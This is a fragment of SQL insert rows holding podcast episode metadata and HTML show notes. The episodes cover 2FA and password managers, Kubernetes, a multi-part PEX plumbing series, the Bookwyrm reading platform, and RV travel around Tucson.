(3617,'2022-06-14','admin admin S01E05: To Do List - 2FA',874,'Making ourselves a less attractive target by implementing 2FA.','<p>Picking up from the last episode, we are now delving in to the security measures we can implement to make ourselves less attractive for Evil Steve. Two Factor Authentication (2FA) is at the top of the list.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.pcmag.com/picks/the-best-authenticator-apps?\" class=\"uri\">https://www.pcmag.com/picks/the-best-authenticator-apps?</a></li>\n<li><a href=\"https://www.ledger.com/es/academy/why-two-factor-authentication-2fa-matters-now-more-than-ever\" class=\"uri\">https://www.ledger.com/es/academy/why-two-factor-authentication-2fa-matters-now-more-than-ever</a></li>\n</ul>\n<ul>\n<li>Permanent link because it\'s very cool.<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','adminadmin,Lurking Prion,cybersecurity,security,threats,2FA,Evil Steve, two factor',0,0,1),
(3619,'2022-06-16','Linux Inlaws S01E58: Kubernetes and Friends and Sarah',4090,'The fun continues with a discussion of container orchestration frameworks, death (of containers) and','In this continuation of S01E57 our two chaps discuss how you can take containers from\nsingle instances to production-ready, scalable deployments handling large app stacks\nand that new-fangled hipster concept called micro-services. Using the once Google-owned project called Borg which later evolved into something now known as Kubernetes (k8s) as an example,\nMartin and Chris discuss typical challenges when using containers as the main infrastructure\nto modern workloads. Including such gory topics such as what happens if a container dies and\ndoesn\'t go to heaven, contradictions in terms such as ephemeral storage and why many k8s developers\nhave defected to VMware.\n<h2>Links:</h2>\n<ul>\n<li>S01E57: <a href=\"https://linuxinlaws.eu/#episodes\" target=_blank>https://linuxinlaws.eu/#episodes</a></li>\n<li>k8s: <a href=\"https://kubernetes.io\" target=_blank>https://kubernetes.io</a></li>\n<li>Mesos: <a href=\"https://mesos.apache.org\" target=_blank>https://mesos.apache.org</a></li>\n<li>DC OS: <a href=\"https://dcos.io\" target=_blank>https://dcos.io</a></li>\n<li>Redis Stack: <a href=\"https://redis.io/docs/stack\" target=_blank>https://redis.io/docs/stack</a></li>\n<li>Docker Swarm: <a href=\"https://docs.docker.com/engine/swarm\" target=_blank>https://docs.docker.com/engine/swarm</a></li>\n<li>Open Container Initiative: <a href=\"https://opencontainers.org\" target=_blank>https://opencontainers.org</a></li>\n<li>cri-o: <a href=\"https://github.com/cri-o/cri-o\" target=_blank>https://github.com/cri-o/cri-o</a></li>\n<li>containerd: <a href=\"https://github.com/containerd/containerd\" target=_blank>https://github.com/containerd/containerd</a></li>\n<li>minikube: <a href=\"https://minikube.sigs.k8s.io/docs/start\" target=_blank>https://minikube.sigs.k8s.io/docs/start</a></li>\n<li>kubeadm: <a href=\"https://kubernetes.io/docs/reference/setup-tools/kubeadm\" target=_blank>https://kubernetes.io/docs/reference/setup-tools/kubeadm</a></li>\n<li>kubeadm tutorial: <a href=\"https://citizix.com/how-to-set-up-kubernetes-cluster-on-debian-11-with-kubeadm-and-cri-o\" target=_blank>https://citizix.com/how-to-set-up-kubernetes-cluster-on-debian-11-with-kubeadm-and-cri-o</a></li>\n<li>YAML: <a href=\"https://yaml.org\" target=_blank>https://yaml.org</a></li>\n<li>OpenShift: <a href=\"https://www.redhat.com/en/technologies/cloud-computing/openshift\" target=_blank>https://www.redhat.com/en/technologies/cloud-computing/openshift</a></li>\n<li>HELM: <a href=\"https://helm.sh\" target=_blank>https://helm.sh</a></li>\n<li>k8s operators: <a href=\"https://kubernetes.io/docs/concepts/extend-kubernetes/operator\" target=_blank>https://kubernetes.io/docs/concepts/extend-kubernetes/operator</a></li>\n<li>openstack: <a href=\"https://www.openstack.org\" target=_blank>https://www.openstack.org</a></li>\n<li>Redis operator: <a href=\"https://github.com/AmadeusITGroup/Redis-Operator\" target=_blank>https://github.com/AmadeusITGroup/Redis-Operator</a></li>\n<li>k8s grid: <a href=\"https://tanzu.vmware.com/kubernetes-grid\" target=_blank>https://tanzu.vmware.com/kubernetes-grid</a></li>\n<li>Bradley Kuhn\'s Non-Profit blog post: <a href=\"https://sfconservancy.org/blog/2013/dec/05/non-profit-home\" target=_blank>https://sfconservancy.org/blog/2013/dec/05/non-profit-home</a></li>\n<li>Sarah\'s HPR episode: <a href=\"https://hackerpublicradio.org/eps.php?id=3577\" target=_blank>https://hackerpublicradio.org/eps.php?id=3577</a></li>\n<li>Volodymyr Zelenskyy: <a href=\"https://en.wikipedia.org/wiki/Volodymyr_Zelenskyy\" target=_blank>https://en.wikipedia.org/wiki/Volodymyr_Zelenskyy</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','Kubernetes, Mesos, cri-o, YAML, OpenShift, hpr3577',0,0,1),
(3626,'2022-06-27','The stuff Evil Steve doesn\'t want you to know S01E06: Use a Password Manager',1100,'Making ourselves a less attractive target by utilizing a password manager.','<p>The stuff Evil Steve doesn\'t want you to know with Lurking Prion. This is Season 1, Episode 6. Picking up from the last episode, we are now delving in to the security measures we can implement to make ourselves a less attractive for Evil Steve. After implementing 2FA, we should now be setting up and using a password manager. Then we look for and changed passwords involved in known breaches (haveibeenpwned - link in show notes). The show is approximately 19 minutes long.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><p>Has your password been involved in a breach?<br />\n<a href=\"https://haveibeenpwned.com/\" class=\"uri\">https://haveibeenpwned.com/</a></p></li>\n<li><p>Password Manager Reviews:<br />\n<a href=\"https://www.tomsguide.com/us/best-password-managers,review-3785.html\" class=\"uri\">https://www.tomsguide.com/us/best-password-managers,review-3785.html</a><br />\n<a href=\"https://www.pcmag.com/picks/the-best-password-managers\" class=\"uri\">https://www.pcmag.com/picks/the-best-password-managers</a><br />\n<a href=\"https://www.nytimes.com/wirecutter/reviews/best-password-managers/\" class=\"uri\">https://www.nytimes.com/wirecutter/reviews/best-password-managers/</a></p></li>\n<li><p>Stand-Alone Password Managers<br />\n</p>\n<ul>\n<li>KeePass <a href=\"https://keepass.info/\" class=\"uri\">https://keepass.info/</a></li>\n<li>KeePassXC <a href=\"https://keepassxc.org/\" class=\"uri\">https://keepassxc.org/</a></li>\n</ul></li>\n<li><p>Recent Authenticator App Reviews<br />\n<a href=\"https://www.pcmag.com/picks/the-best-authenticator-apps\" class=\"uri\">https://www.pcmag.com/picks/the-best-authenticator-apps</a><br />\n<a href=\"https://www.nytimes.com/wirecutter/reviews/best-two-factor-authentication-app/\" class=\"uri\">https://www.nytimes.com/wirecutter/reviews/best-two-factor-authentication-app/</a></p></li>\n<li><p>Google password manager articles<br />\n<a href=\"https://privacycrypts.com/password-managers/guides/is-chrome-password-manager-safe/\" class=\"uri\">https://privacycrypts.com/password-managers/guides/is-chrome-password-manager-safe/</a><br />\n<a href=\"https://www.experian.com/blogs/ask-experian/is-google-passwordmanager-secure/\" class=\"uri\">https://www.experian.com/blogs/ask-experian/is-google-passwordmanager-secure/</a></p></li>\n<li><p>Apple iCloud Keychain<br />\n<a href=\"https://www.imore.com/icloud-keychain\" class=\"uri\">https://www.imore.com/icloud-keychain</a><br />\n<a href=\"https://www.intego.com/mac-security-blog/mac-and-ios-keychain-tutorial-how-apples-icloud-keychain-works/\" class=\"uri\">https://www.intego.com/mac-security-blog/mac-and-ios-keychain-tutorial-how-apples-icloud-keychain-works/</a><br />\n<a href=\"https://www.podfeet.com/blog/2021/06/icloud-keychain-vs-1password/\" class=\"uri\">https://www.podfeet.com/blog/2021/06/icloud-keychain-vs-1password/</a></p></li>\n<li><p>iCloud Keychain 2FA - how to<br />\n<a href=\"https://www.guidingtech.com/use-icloud-keychain-two-factor-authentication/\" class=\"uri\">https://www.guidingtech.com/use-icloud-keychain-two-factor-authentication/</a></p></li>\n<li><p>Apple iCloud Keychain security issues<br />\n<a href=\"https://www.wired.com/story/keysteal-apple-keychain-attack-shenanigans/\" class=\"uri\">https://www.wired.com/story/keysteal-apple-keychain-attack-shenanigans/</a></p></li>\n<li><p>Microsoft Authenticator vs Google Authenticator<br />\n<a href=\"https://www.365tech.ca/which-one-is-better-microsoft-authenticator-or-google-authenticator/\" class=\"uri\">https://www.365tech.ca/which-one-is-better-microsoft-authenticator-or-google-authenticator/</a></p></li>\n<li><p>Google Authenticator<br />\n<a href=\"https://www.techdim.com/what-is-google-authenticator/\" class=\"uri\">https://www.techdim.com/what-is-google-authenticator/</a></p></li>\n<li><p>Google Authenticator security issue<br />\n<a href=\"https://privacypros.io/u2f/stop-using-google-auth/\" class=\"uri\">https://privacypros.io/u2f/stop-using-google-auth/</a></p></li>\n<li><p>Microsoft Authenticator<br />\n<a href=\"https://www.androidauthority.com/microsoft-authenticator-987754/\" class=\"uri\">https://www.androidauthority.com/microsoft-authenticator-987754/</a></p></li>\n<li><p>Microsoft Authenticator security issue<br />\n<a href=\"https://www.transmitsecurity.com/blog/microsoft-authenticator-a-false-sense-of-security\" class=\"uri\">https://www.transmitsecurity.com/blog/microsoft-authenticator-a-false-sense-of-security</a></p></li>\n<li><p>Permanent link because it\'s very cool.<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></p></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity, security, 2FA, EvilSteve, password manager ,password, breach',0,0,1),
(3604,'2022-05-26','Everything You Always Wanted to Know About PEX Part 01- Let\'s Talk About PEX - Introduction ',782,'Introduction to PEX','<h2 id=\"everything-you-always-wanted-to-know-about-pex\">Everything You Always Wanted to Know About PEX</h2>\n<h3 id=\"part-01--lets-talk-about-pex---introduction\">Part 01- Let\'s Talk About PEX - Introduction</h3>\n<h3 id=\"why-my-story\">Why? My story</h3>\n<ol type=\"1\">\n<li>Why am I posting about plumbing on HPR? \"Of interest to hackers\"\n<ol type=\"1\">\n<li>I find it interesting</li>\n<li>We like to learn new things</li>\n<li>We like to understand\n<ol type=\"1\">\n<li>How things work</li>\n<li>How things break</li>\n<li>How to use non-standard approached to solve problems</li>\n</ol></li>\n<li>Others can learn from my experience, troubleshooting process, etc...</li>\n<li>I had fun creating the episode titles.</li>\n</ol></li>\n<li>Pinhole leaks in copper pipe\n<ol type=\"1\">\n<li>Causes &#x2013; Note plumbing is around 40 years old and original to house</li>\n<li>Poor quality copper Shoddy installation</li>\n<li>Failure to de-bur pipe before soldering</li>\n<li>Not properly hung from joists\n<ol type=\"1\">\n<li>Pipe on pipe</li>\n<li>Pipe on steel wire</li>\n</ol></li>\n<li>Bad soldering technique\n<ol type=\"1\">\n<li>Lumpy solder</li>\n<li>Flux residue</li>\n<li>Excessive flux</li>\n</ol></li>\n<li>Hard water\n<ol type=\"1\">\n<li>Only some neighbors experiencing the same issue, and their houses were constructed by the same builder.</li>\n</ol></li>\n<li>Learn more about copper pipe corrosion\n<ol type=\"1\">\n<li>How to Stop Copper Pipe Corrosion - This Old House YouTube Channel</li>\n<li><a href=\"https://www.youtube.com/watch?v=nD5lMITzx_Y\" class=\"uri\">https://www.youtube.com/watch?v=nD5lMITzx_Y</a></li>\n</ol></li>\n<li>High Water Pressure\n<ol type=\"1\">\n<li>Normal = 60-80 PSI</li>\n<li>Tested at 63 PSI = GOOD!!</li>\n</ol></li>\n<li>Damage</li>\n<li>Water leaks caused damage to drywall in parts of my house and to items stored in my garage.</li>\n<li>Leaks in some areas can sometimes go unidentified for long enough to do extensive damage and even lead to dangerous mold growth.</li>\n</ol></li>\n<li>Possible solutions\n<ol type=\"1\">\n<li>Short term</li>\n<li>Patch\n<ol type=\"1\">\n<li>Epoxy kits</li>\n<li>Can be inconsistent</li>\n<li>May not bond to corroded pipe</li>\n<li>Some require turning off water and dry pipes</li>\n<li>Water activated tape</li>\n<li>Access around pipe</li>\n<li>May not bond to corroded pipe</li>\n<li>Some require turning off water and dry pipes</li>\n<li>Solder on patch</li>\n<li>Expensive</li>\n<li>Requires clean dry pipe exterior</li>\n<li>Requires draining the pipe</li>\n<li>Might as well cut out the leaking section and replace</li>\n<li>Repair Clamps</li>\n<li>Fast</li>\n<li>Strong</li>\n<li>Can be used while pipe is under pressure</li>\n<li>Minimal clearance needed</li>\n<li>Examples\n<ol type=\"1\">\n<li><a href=\"https://www.grainger.com/category/plumbing/pipe-tubing-and-fittings/pipe-repair-clamps-and-couplings/pipe-repair-clamps\" class=\"uri\">https://www.grainger.com/category/plumbing/pipe-tubing-and-fittings/pipe-repair-clamps-and-couplings/pipe-repair-clamps</a></li>\n<li><a href=\"https://www.homedepot.com/b/Plumbing-Plumbing-Accessories-Repair-Clamps/Copper/N-5yc1vZbqomZ1z0vifv\" class=\"uri\">https://www.homedepot.com/b/Plumbing-Plumbing-Accessories-Repair-Clamps/Copper/N-5yc1vZbqomZ1z0vifv</a></li>\n<li><a href=\"https://www.homedepot.com/b/Plumbing-Plumbing-Accessories-Repair-Clamps/Multi-Purpose/N-5yc1vZbqomZ1z0vhwh\" class=\"uri\">https://www.homedepot.com/b/Plumbing-Plumbing-Accessories-Repair-Clamps/Multi-Purpose/N-5yc1vZbqomZ1z0vhwh</a></li>\n</ol></li>\n</ol></li>\n<li>Long Term</li>\n<li>Repair copper\n<ol type=\"1\">\n<li>Cut out damaged section and replace using SharkBite fittings</li>\n<li>Expensive</li>\n<li>Cut out damaged section and solder in new section of pipe</li>\n<li>Expensive</li>\n<li>Time consuming</li>\n<li>Many areas of corrosion visible</li>\n<li>Whack-a-mole - Where &amp; when will next leak occur?</li>\n</ol></li>\n<li>New copper\n<ol type=\"1\">\n<li>Expensive</li>\n<li>Difficult</li>\n<li>Time consuming</li>\n</ol></li>\n<li>PVC\n<ol type=\"1\">\n<li>Still difficult &#x2013; rigidity</li>\n</ol></li>\n<li>PEX\n<ol type=\"1\">\n<li>Comparatively inexpensive</li>\n<li>Flexible and easy to install</li>\n<li>Can use existing copper pipe as support structure</li>\n<li>Can completely redesign with a manifold</li>\n</ol></li>\n</ol></li>\n</ol>\n',394,0,0,'CC-BY-SA','diy, plumbing,PEX',0,0,1),
(3614,'2022-06-09','Everything You Always Wanted to Know About PEX Part 02- The Joy of PEX - What is it and how is it us',838,'Information about PEX and how it is used','<h2 id=\"everything-you-always-wanted-to-know-about-pex\">Everything You Always Wanted to Know About PEX</h2>\n<h3 id=\"part-02--the-joy-of-pex---what-is-it-and-how-is-it-used\">Part 02- The Joy of PEX - What is it and how is it used?</h3>\n<ol type=\"1\">\n<li>What is PEX?\n<ol type=\"1\">\n<li>According to Wikipedia, Cross-linked polyethylene tubing is commonly abbreviated PEX, XPE or XLPE -<a href=\"https://en.wikipedia.org/wiki/Cross-linked_polyethylene\" class=\"uri\">https://en.wikipedia.org/wiki/Cross-linked_polyethylene</a></li>\n<li>This tubing is made of crosslinked polyethelene chains</li>\n<li>Type A, Type B, &amp; Type C</li>\n<li>These differ based on the process used to make them and the resulting properties of the resulting tubing</li>\n<li>PEX is used for a variety of products</li>\n<li>Insulation on high voltage high tension electrical cables</li>\n<li>Domestic water pipes</li>\n<li>Irrigation and hydroponic systems</li>\n<li>Natural gas and oil pipes</li>\n<li>Chemical handling and storage systems</li>\n</ol></li>\n<li>Domestic plumbing\n<ol type=\"1\">\n<li>Advantages</li>\n<li>Flexible &#x2013; easy to install and fish through walls and crawl spaces</li>\n<li>It will stretch a little &#x2013; Less likely to rupture if water contained in PEX freezes</li>\n<li>Does not rust or corrode</li>\n<li>Less expensive than copper</li>\n<li>Multiple colors for easy identification</li>\n<li>Easy to cut</li>\n<li>Connections are easy\n<ol type=\"1\">\n<li>Type A &#x2013; Expansion PEX</li>\n<li>Process\n<ol type=\"1\">\n<li>A roughly 1/2\" - 3/4\"sleeve of slightly larger PEX expansion sleeve is slipped over the end of the PEX-A tubing</li>\n<li>A special tool is inserted into the end of the tubing which stretches it outward a predefined amount.</li>\n<li>The tubing is slipped over the end of the desired PEX-A connector and allowed to shrink back to normal size, creating a seal</li>\n<li>Video: <a href=\"https://www.youtube.com/watch?v=Xot95W8vni0\" class=\"uri\">https://www.youtube.com/watch?v=Xot95W8vni0</a></li>\n</ol></li>\n<li>Advantages\n<ol type=\"1\">\n<li>Fast and easy to install</li>\n<li>Can install in tight places, since tool does not need to be at the connector</li>\n<li>More resistant to damage from kinks if bent over too tight a radius</li>\n<li>More resistant to damage from freezing</li>\n</ol></li>\n<li>Disadvantages\n<ol type=\"1\">\n<li>The tool is expensive (~$300 - $600 USD)</li>\n<li>In the United states, PEX-A connectors have limited availability in typical hardware and home improvement stores</li>\n</ol></li>\n<li>Type B &#x2013; Crimp PEX (Doesn\'t stretch)</li>\n<li>Process\n<ol type=\"1\">\n<li>A metal ring or band is placed around the end of the PEX-B tubing</li>\n<li>The tubing is slipped over the end of the desired PEX-B connector</li>\n<li>A special tool us used to crimp the metal ring or a different tool may be used to tighten the metal band, creating a seal</li>\n<li>Video: <a href=\"https://www.youtube.com/watch?v=U-t-ZeHv9s0\" class=\"uri\">https://www.youtube.com/watch?v=U-t-ZeHv9s0</a></li>\n</ol></li>\n<li>Advantages\n<ol type=\"1\">\n<li>Fast &amp; easy to install</li>\n<li>Crimping tools are less expensive</li>\n<li>Higher availability of a wider range of connectors at typical home improvement stores in the United States</li>\n</ol></li>\n<li>Disadvantages\n<ol type=\"1\">\n<li>If PEX-B is kinked, that portion is no longer safe to use and it must be replaced.</li>\n<li>Can be more difficult to connect in tight places</li>\n<li>This can be remedied with the use of SharkBite press on fittings.</li>\n<li>Less resistant to damage from freezing.</li>\n</ol></li>\n</ol></li>\n<li>Connections are also easily removed</li>\n<li>Disadvantages</li>\n<li>Easily damaged by ultraviolet light from sunlight or even LED &amp; fluorescent lights (Check manufacturer specifications. Most rated for only 30-60 days of sun exposure)\n<ol type=\"1\">\n<li><a href=\"https://www.doityourself.com/stry/how-long-can-pex-piping-be-exposed-to-sunlight\" class=\"uri\">https://www.doityourself.com/stry/how-long-can-pex-piping-be-exposed-to-sunlight</a></li>\n<li><a href=\"https://www.flowguardgold.com/en-us/blog/the-influence-of-uv-light-on-plastic-plumbing-systems\" class=\"uri\">https://www.flowguardgold.com/en-us/blog/the-influence-of-uv-light-on-plastic-plumbing-systems</a></li>\n</ol></li>\n<li>Long term durability yet to be proven</li>\n<li>Non-conductive (electrical ground)</li>\n<li>Not rigid &#x2013; Must be supported</li>\n<li>May induce an odd taste to water for the first few weeks.</li>\n<li>Some say PEX can leach toxins into water\n<ol type=\"1\">\n<li>Norwegian Institute of Public Health study says PEX is safe <a href=\"https://www.sciencedaily.com/releases/2011/11/111108132905.htm\" class=\"uri\">https://www.sciencedaily.com/releases/2011/11/111108132905.htm</a></li>\n<li>Ewg.org article expresses doubts to safety <a href=\"https://www.ewg.org/news-insights/news/amid-pipe-wars-researchers-wary-plastic-pipes-leaching-chemicals\" class=\"uri\">https://www.ewg.org/news-insights/news/amid-pipe-wars-researchers-wary-plastic-pipes-leaching-chemicals</a></li>\n</ol></li>\n</ol></li>\n</ol>\n',394,0,0,'CC-BY-SA','diy, plumbing,PEX',0,0,1),
(3624,'2022-06-23','Everything You Always Wanted to Know About PEX Parts 3 &amp; 4',816,'Discusses plumbing code and installation','<h2 id=\"everything-you-always-wanted-to-know-about-pex\">Everything You Always Wanted to Know About PEX</h2>\n<h3 id=\"part-03-pex-and-the-city-ordinances---how-to-make-certain-your-installation-meets-code\">Part 03 &#x2013; PEX and the City (Ordinances) - How to make certain your installation meets code</h3>\n<p>This will be a short episode, but a very important one.</p>\n<p>Since we have people from around the world who listen to Hacker Public Radio, I cannot begin to speculate what your local building codes allow or prohibit. In the majority of states within the United States of America, a property owner can perform plumbing maintenance on their own residence. Otherwise you need to be a licensed plumber. That may not be true for all states, and there can be inspections required and sometimes even fines for code violations.</p>\n<p>Rules also vary for where PEX can be installed, how and how frequently it must be supported, and whether the work must be inspected or whether it requires a permit.</p>\n<p>The point of this section is to remind you to do your research to find out what the rules are in your specific region, and then be sure to follow them. When in doubt, consult a licensed plumber in your area.</p>\n<h3 id=\"part-04-pex-lies-and-silicone-tape-my-installation-experience-part-1\">Part 04 &#x2013; PEX, Lies, and Silicone Tape &#x2013; My installation experience part 1</h3>\n<p>If you have missed the previous episodes in this series, I encourage you to review them before continuing because they will provide valuable context around my plumbing adventures.</p>\n<ol type=\"1\">\n<li>Design &#x2013; The best place to start.\n<ol type=\"1\">\n<li>Option 1 &#x2013; Follow existing pipe</li>\n<li>Option 2 &#x2013; Install manifold valve system for greater control</li>\n<li>Replacing everything or connecting to existing pipe or fixtures?</li>\n</ol></li>\n<li>Materials\n<ol type=\"1\">\n<li>PEX-A &#x2013;vs- PEX-B</li>\n<li>Decisions, decisions.</li>\n<li>PEX-B Wins</li>\n<li>Manifold</li>\n<li>Allows specific sections to be turned on and off independently</li>\n<li>Examples: <a href=\"https://www.supplyhouse.com/PEX-Manifolds-518000\" class=\"uri\">https://www.supplyhouse.com/PEX-Manifolds-518000</a></li>\n<li>Connectors</li>\n<li>New Valves</li>\n<li>Transition connectors\n<ol type=\"1\">\n<li>To copper</li>\n<li>Sharkbite</li>\n<li>Solder</li>\n<li>To PVC</li>\n<li>Sharkbite</li>\n<li>Glue</li>\n<li>To main water line</li>\n<li>To/From Water heater</li>\n</ol></li>\n<li>Silicone tape or pipe dope</li>\n<li>Hangers &amp; Wall clamps</li>\n<li>Crimp rings</li>\n</ol></li>\n<li>Tools\n<ol type=\"1\">\n<li>Crimp tool</li>\n<li>Removal tool</li>\n<li>Sharkbite</li>\n<li>Depth gauge</li>\n<li>Removal tool</li>\n<li>Tape measure</li>\n<li>String / wire phish</li>\n</ol></li>\n<li>Planning\n<ol type=\"1\">\n<li>Most important step</li>\n<li>With proper planning you can reduce service outage</li>\n<li>Some steps can be done before shutting off water</li>\n<li>Access holes</li>\n<li>Running / connecting PEX sections</li>\n</ol></li>\n<li>Assistance\n<ol type=\"1\">\n<li>While an individual installer can redo a house with PEX, it is not ideal. If you can get another person to help, it will make the process go much easier.</li>\n</ol></li>\n</ol>\n',394,0,0,'CC-BY-SA','diy, plumbing,PEX',0,0,1),
(3634,'2022-07-07','Everything You Always Wanted to Know About PEX Part 05 - PEX and the Single Installer',1667,'My PEX installation experience part 2','<h2 id=\"everything-you-always-wanted-to-know-about-pex\">Everything You Always Wanted to Know About PEX</h2>\n<h3 id=\"part-05-pex-and-the-single-installer-my-pex-installation-experience-part-2\">Part 05&#x2013; PEX and the Single Installer &#x2013; My PEX installation experience part 2</h3>\n<h3 id=\"pulling-pex\">Pulling PEX</h3>\n<ol type=\"1\">\n<li>Much like pulling thick wire\n<ol type=\"1\">\n<li>My method\n<ol type=\"1\">\n<li>Used fish tape to pull mason\'s line</li>\n<li>Tied mason\'s line to PEX about 4 inches from end.</li>\n<li>Taped above &amp; below with electrical tape</li>\n<li>Then tied line again closer to the end of PEX.</li>\n<li>Wrapped again with electrical tape</li>\n</ol></li>\n<li>Pull extra</li>\n<li>Unroll and let it lay straight for 24 hours if \"curve memory\" is a problem</li>\n<li>Can be challenging and require an individual installer to go back and forth between the feed point and the pull point.</li>\n</ol></li>\n<li>Supporting PEX\n<ol type=\"1\">\n<li>1\" and smaller PEX must be supported horizontally every 32 inches</li>\n<li>Vertically, it must be supported at every floor and midway between floors (every 4-6 feet)</li>\n<li><a href=\"https://www.pexuniverse.com/providing-proper-support-long-runs-pex-tubing\" class=\"uri\">https://www.pexuniverse.com/providing-proper-support-long-runs-pex-tubing</a></li>\n<li>Can be challenging to hold in place until secured</li>\n<li>Zip ties are your friend!</li>\n</ol></li>\n<li>Using a manifold\n<ol type=\"1\">\n<li>Determine your needs</li>\n<li>Number of hot and cold outputs</li>\n<li>Valve type\n<ol type=\"1\">\n<li>Handled</li>\n<li>Wrench/key</li>\n</ol></li>\n<li>Find a location with</li>\n<li>Easy access</li>\n<li>Fairly central to avoid long delays for hot water</li>\n<li>Limited light exposure</li>\n<li>Build or buy?</li>\n<li>Costs</li>\n<li>Appearance</li>\n<li>Materials</li>\n<li>Securing manifold in place</li>\n<li>Anchor securely\n<ol type=\"1\">\n<li>Block wall with anchors</li>\n<li>To wood for spanning wall studs (I don\'t know why I kept saying \"Joist\" during the recording)</li>\n<li>Do not anchor to drywall</li>\n</ol></li>\n<li>Insulate from wall if needed</li>\n</ol></li>\n<li>Connecting to the main line\n<ol type=\"1\">\n<li>What to replace and what to use</li>\n<li>Size matters</li>\n<li>Plan to include manifold if needed</li>\n</ol></li>\n<li>Connecting to water heater\n<ol type=\"1\">\n<li>Where/how to connect</li>\n<li>Pipe Unions?</li>\n<li>Protect from heat</li>\n<li>Shut-off valve</li>\n<li>Expansion tank</li>\n<li>Silicon tape or pipe dope</li>\n</ol></li>\n<li>Connecting to endpoints\n<ol type=\"1\">\n<li>What to keep and what to replace</li>\n<li>Transition connectors</li>\n<li>SharkBite</li>\n<li>Solder</li>\n<li>Thread</li>\n<li>Glue</li>\n</ol></li>\n<li>Exterior hose taps\n<ol type=\"1\">\n<li>Reuse or replace?</li>\n<li>Frost free / anti-siphon</li>\n<li>Anchor securely</li>\n<li>Help is better!</li>\n</ol></li>\n<li>Turning it on!\n<ol type=\"1\">\n<li>If using a manifold turn on one section at a time, from the bottom up</li>\n<li>Open sink valves</li>\n<li>Ease it on a little at a time</li>\n<li>Then increase flow</li>\n<li>Turn off sink tap (Slowly) to let pressure build</li>\n<li>Keep watching for leaks</li>\n<li>Coordinate with a partner and communicate (cell phone?)</li>\n</ol></li>\n<li>Afterwards\n<ol type=\"1\">\n<li>Cover any PEX exposed to light</li>\n<li>Watch for leaks</li>\n<li>Repair holes</li>\n<li>Run water daily to flush out bad taste</li>\n<li>Inspection?</li>\n</ol></li>\n</ol>\n',394,0,0,'CC-BY-SA','diy, plumbing,PEX',0,0,1),
(3760,'2022-12-30','Bookwyrm',825,'This episode looks at a relatively new but promising alternative to Goodreads that is firmly in the ','<p>Federated social media can open up some wonderful possibilities to reimagine some of the social apps we already use and find ways to do them better. In this episode I want to highlight a new contender for a Fediverse application that may be able to replace Goodreads. Is it up to the task? We\'ll look at the pluses and minuses in this episode.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://joinbookwyrm.com/\" class=\"uri\">https://joinbookwyrm.com/</a></li>\n<li><a href=\"https://www.goodreads.com/\" class=\"uri\">https://www.goodreads.com/</a></li>\n<li><a href=\"https://github.com/bookwyrm-social/bookwyrm\" class=\"uri\">https://github.com/bookwyrm-social/bookwyrm</a></li>\n<li><a href=\"https://bookwyrm.social/\" class=\"uri\">https://bookwyrm.social/</a></li>\n<li><a href=\"https://www.zwilnik.com/better-social-media/bookwyrm/\" class=\"uri\">https://www.zwilnik.com/better-social-media/bookwyrm/</a></li>\n</ul>\n',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub, Goodreads, library, Bookwyrm',0,0,1),
(3770,'2023-01-13','Tucson',908,'We move to Benson, a town just southeast of Tucson, where we will stay for a month.','<p>We wrap up our stay in Ajo, Arizona and move over to Benson, Arizona, not far from Tucson. Here we will stay for a month. And we don\'t run out of things to do. This was one of our favorite stops of the trip.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjzKvKF\" class=\"uri\">https://flic.kr/s/aHBqjzKvKF</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKwew\" class=\"uri\">https://flic.kr/s/aHBqjzKwew</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKwWe\" class=\"uri\">https://flic.kr/s/aHBqjzKwWe</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKDGL\" class=\"uri\">https://flic.kr/s/aHBqjzKDGL</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKCT2\" class=\"uri\">https://flic.kr/s/aHBqjzKCT2</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKCBS\" class=\"uri\">https://flic.kr/s/aHBqjzKCBS</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKDbP\" class=\"uri\">https://flic.kr/s/aHBqjzKDbP</a></li>\n<li><a href=\"https://www.palain.com/travel/tucson/\" class=\"uri\">https://www.palain.com/travel/tucson/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, Arizona',0,0,1),
(3790,'2023-02-10','Tucson, Part 2',778,'We continue our month-long stay in Benson, a town just southeast of Tucson.','<p>We wrap up our stay in Tucson, Arizona and move over to Benson, Arizona, not far from Tucson. Here we will stay for a month. And we don\'t run out of things to do. This was one of our favorite stops of the trip. In this episode we visit an old west movie set, Saguaro National Park, and tour a copper mine.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjzKEoM\" class=\"uri\">https://flic.kr/s/aHBqjzKEoM</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKKPu\" class=\"uri\">https://flic.kr/s/aHBqjzKKPu</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKLPk\" class=\"uri\">https://flic.kr/s/aHBqjzKLPk</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKMsj\" class=\"uri\">https://flic.kr/s/aHBqjzKMsj</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKNpv\" class=\"uri\">https://flic.kr/s/aHBqjzKNpv</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKMS9\" class=\"uri\">https://flic.kr/s/aHBqjzKMS9</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKRuY\" class=\"uri\">https://flic.kr/s/aHBqjzKRuY</a></li>\n<li><a href=\"https://www.palain.com/travel/tucson-part-2/\" class=\"uri\">https://www.palain.com/travel/tucson-part-2/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, Arizona, Tucson',0,0,1),
